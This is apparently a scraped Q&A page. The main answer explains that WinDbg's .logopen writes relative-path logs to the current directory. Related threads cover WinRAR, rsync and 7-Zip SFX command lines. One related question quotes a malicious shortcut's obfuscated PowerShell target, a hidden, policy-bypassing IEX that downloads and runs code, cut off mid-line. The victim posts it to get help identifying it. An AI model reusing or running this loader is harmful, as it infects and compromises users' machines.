Windbg .logopen file location - windbg

When using .logopen logfile.txt command, where is logfile.txt created? I managed to work around it by specifying absolute path, but am wondering when giving relative path where is file created?

For version 6.3.9600, WinDbg help says in .hh .logfile:
If you do not specify a path, the debugger uses the current directory.
For me, I installed WinDbg in the program files directory.
5:kd> .dbgdbg
0:025> |
. 0 id: 29fc attach name: C:\Program Files (x86)\Windows Kits\8.1\Debuggers\x86\windbg.exe
Using Process Monitor, I can see that WinDbg tries to create the logfile there (and fails for permission reasons).
When I cange the working directory in the WinDbg LNK file I use for starting it, it opens the log file in that directory.
I cannot confirm #blabbs answer, since my home directory is
5: kd> !homedir
Home directory is C:\ProgramData\dbg
in both cases (running from %ProgramFiles% and running from D:\temp). If I change !homedir, the location of .logfile is not affected.

edit
the log file is created in current directory from where windbg was invoked not in homedir i always run windbg from start run (winkey +r -> windbg) and apparently it starts windbg from the installation folder and inherits the directory as well it seems
starting windbg from different folders make the logfile be created in respective current directories
>md windbglogtestone
>cd windbglogtestone
\windbglogtestone>cdb -c ".logopen mylog.txt;q" cdb
Microsoft (R) Windows Debugger Version 10.0.16299.15 X86
0:000> cdb: Reading initial command '.logopen mylog.txt;q'
Opened log file 'mylog.txt'
quit:
\windbglogtestone>cd ..
>md windbglogtestwo
>cd windbglogtestwo
\windbglogtestwo>cdb -c ".logopen mylog.txt;q" cdb
Microsoft (R) Windows Debugger Version 10.0.16299.15 X86
0:000> cdb: Reading initial command '.logopen mylog.txt;q'
Opened log file 'mylog.txt'
quit:
\windbglogtestwo>cd ..
>dir /s /b *my*.txt
\windbglogtestone\mylog.txt
\windbglogtestwo\mylog.txt
it is created in the home directory where home represents the folder where windbg is installed (normally c:\progra~\w..kits..\debug.....\x..)
see below for a windbg installation in a different path
0:000> .logopen mylogfile.txt
Opened log file 'mylogfile.txt'
0:000> !homedir
Home directory is E:\windjs\windbg_16299\x86
0:000> .shell - dir *my*
Directory of E:\windjs\windbg_16299\x86
02/14/2018 09:07 AM 0 mylogfile.txt
1 File(s) 0 bytes
0 Dir(s) 102,247,899,136 bytes free
.shell: Process exited
Press ENTER to continue
in response to lieven's comment why the hyphen in .shell command
it represents a null input file
one can pass input files to .shell for processing instead of windbg commands
using -i instead of -c
pass a single hyphen to tell there is no input file
only the shell command indicated needs to be done

Related

Just ran a mystery windows shortcut file which has run a powershell script

I just downloaded a file which was hidden as a shortcut to powershell. I'm not sure what code it has just executed as it looks cryptic. This is what the .lnk file target was configured to:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP & ( $PsHoME[21]+$PShOmE[34]+'X') (( '73-69%88-40j78P101P119z45U79-98U106%101-99s116r32-83P121P115j116x101x109r46x78U101-116z46j87z101x98x67j108U105-101P110j116D41x46r68U111s119
It was set to start in:
%SYSTEMROOT%\System32\WindowsPowerShell\v1.0

Batch file to archive important files into a zip file in Windows 7

I have some files which I would like to be able to archive daily into a zip file that has the date in the filename.
The files to be archived are in one folder, let's call them a, b and c.
I would like them to be zipped into a file with the name archiveYYYYMMDD.zip into a second (different) folder where YYYYMMDD is the current date. I'm struggling to come up with a suitable batch file.
I'm running Windows 7 x64 Ultimate. I have a scheduling program which would run the batch file at a preset time every day.
Thanks
Alan
This can be done with shareware archiver WinRAR with a single command line:
"%ProgramFiles%\WinRAR\WinRAR.exe" a -afzip -agYYYYMMDD -cfg- -ed -ep1 -ibck -inul -m5 -r -y -- "Path to Backup Folder\Backup_.zip" "Path to Folder to Backup\"
This single command line can be executed directly as scheduled task. There is no need for a batch file.
The help of WinRAR opened by starting WinRAR and clicking in menu Help on menu item Help topics explains under Contents menu item Command line mode the command line syntax, the command a and the used switches.

How to create mask in winrar to archive folders by name?

I have folders C:\testA01, C:\testA02 and C:\testB01, C:\testB02.
How to create a command to archive only folders with testA in their name?
"C:\Program Files\WinRAR\WinRAR.exe" a -r -u -rr8 -y C:\BACKUP\backup.rar C:\testA ?? \*.*
Windows command line interpreter does not support wildcards in folder paths. It is only possible to search for folders matching a pattern with DIR or FOR.
But take a look on text file WhatsNew.txt in program files directory of WinRAR version 5.30 or any later version. There can be read:
Folder wildcards are allowed in RAR command line in file names to
archive. For example:
rar a backup c:\backup\2015*\*
will archive all '2015*' folders in c:\backup. Use -r switch to search
for '2015*' also in c:\backup subfolders.
WinRAR v5.30 can be used on Windows XP and later Windows.
A command line for your backup task is for example:
"%ProgramFiles%\WinRAR\Rar.exe" u -cfg- -ep1 -idq -r -rr8 -y C:\BACKUP\backup.rar C:\testA*\*
For details on the used command u which is like command a with switch -u and the used switches see text file Rar.txt being the manual for the console version Rar.exe of WinRAR.
Of course you can also run from command line the GUI version, but one switch must be changed:
"%ProgramFiles%\WinRAR\WinRAR.exe" u -cfg- -ep1 -ibck -r -rr8 -y C:\BACKUP\backup.rar C:\testA*\*
The switch -ibck for running GUI version in background (minimized to system tray) is used instead of -idq which means for console version to run in quiet mode with only error messages printed into console window.
The commands and switches for the GUI version with some differences to console version are explained in help of WinRAR. Start WinRAR, click in menu Help on menu item Help topics, select tab Contents, open item Command line mode and read the pages listed below this list item.

running rsync in cygwin

I am trying to run rsync from cygwin in a PowerShell script of a remote folder with having space (File - One) and gets the below error. Tried to escape the space but still it does not work. As in the error, the directory name taken is "/e/Files/File" which is incomplete, whereas the actual folder name should be "/e/Files/File - One/root/" . Also tried the escape the space with multiple backslashes but still same error. What could be issue here?
Write-Output $rsync-cmd
Invoke-Expression -command $rsync_cmd
Command and Error:
C:\cygwin64\bin\bash.exe --login -c 'rsync -tvhPrI --stats jason#10.1.1.100:"/e/Files/File\ -\ One/root/" "/e/Files/File\ -\ One/root"'
receiving incremental file list
rsync: link_stat "/e/Files/File" failed: No such file or directory (2)
rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1637) [Receiver=3.1.1]
I've just been wrestling with this and all problems solved by running my script through dos2unix to remove rogue ^M

How do I silently install a 7-zip self-extracting archive to a specific directory?

The Ruby Devkit is a 7-zip based self-extracting archive.
I would like to invoke it silently without having to install 7-Zip to extract the files to a folder of my choosing, so that I can script the installation. I imagine it to be something like:
cmd> DevKit-tdm-32-4.5.2-20111229-1559-sfx.exe /silent /dir="C:\DevKit"
But that, of course, doesn't work. What command line flags must I use to silently extract this archive into a folder of my choice?
try this:
C:\> DevKit-tdm-32-4.5.2-20111229-1559-sfx.exe -o"C:\DevKit" -y
Update 2017: The tool from 7zsfx.info is now dead and gone.
Original, old post from 08-2015:
If you are trying to extract an 7zip SFX (http://7zsfx.info/) archive:
sfx.exe -y -gm2 -InstallPath="C:\\your\\target\\path"
Switches Docu
-y hide some prompts
-gm2 hides the extraction dialog completely (silent mode)
-InstallPath sets the target path (you need double backslashes)
7z SFX Guide
The official way to create a SFX package is to use -sfx[{name}] : Create SFX archive.
And that means the created SFX packages uses two kinds of CLI options:
official CLI options from 7zSFX, and
the passed through options you configured in your config, before creating the package.
You can think of it as parameter forwarding to the packaged executable. This parameter forwarding depends on the SetEnvironment and RunProgramm configuration!
The full process:
Create archive Package.7z:
containing Installer.msi and additional crap.cab file.
Create config file config.txt:
;!#Install#!UTF-8!
Title="Installation"
SetEnvironment="strInstall=hidcon:Installer.msi /qn"
RunProgram="%strInstall%"
;!#InstallEnd#!
Now we generate Test.exe by combining sfx+config+archive into an executable.
copy /b 7zS.sfx + config.txt + Package.7z SfxInstaller.exe
Note: 7zS.sfx is from the official 7zip extra package.
Now, when you run SfxInstaller.exe you can pass for instance /lv InstallerLog.txt to create a install log, e.g.
SfxInstaller.exe /lv InstallerLog.txt
Since 7-zip is used, simply create a self-extracting archive in .exe. and run it with switches -o and -y.
I use it to save space on USB drive. For instance, I run VDiskAir application infrequently. I create a self-extracting archive of the VDiskAir program folder (about 15MB):
7z a -SFX -mx9 VDiskAir.exe [VDiskAir folder path]
NB: -mx9 is used here to maximise compression.
I create a DOS BAT to run the self-extracting VDiskAir.exe (about 5MB) created, save it as VDiskAir.bat containing:
VDiskAir.exe -o%TMP% -y
%TMP%\VDiskAir\VDisk_Air.exe
I'm not worried that the VDiskAir folder (in %TMP% extracted with VDiskAir program files) is undeleted after running VDiskAir this way, since I have a BAT script to clear %TMP% on shutting down/starting up.
Below is what I use for Autodesk product:
Start /W %~dp0AutoCAD_2018_French_LP_Win_64bit_dlm.sfx.exe -suppresslaunch -d C:\Autodesk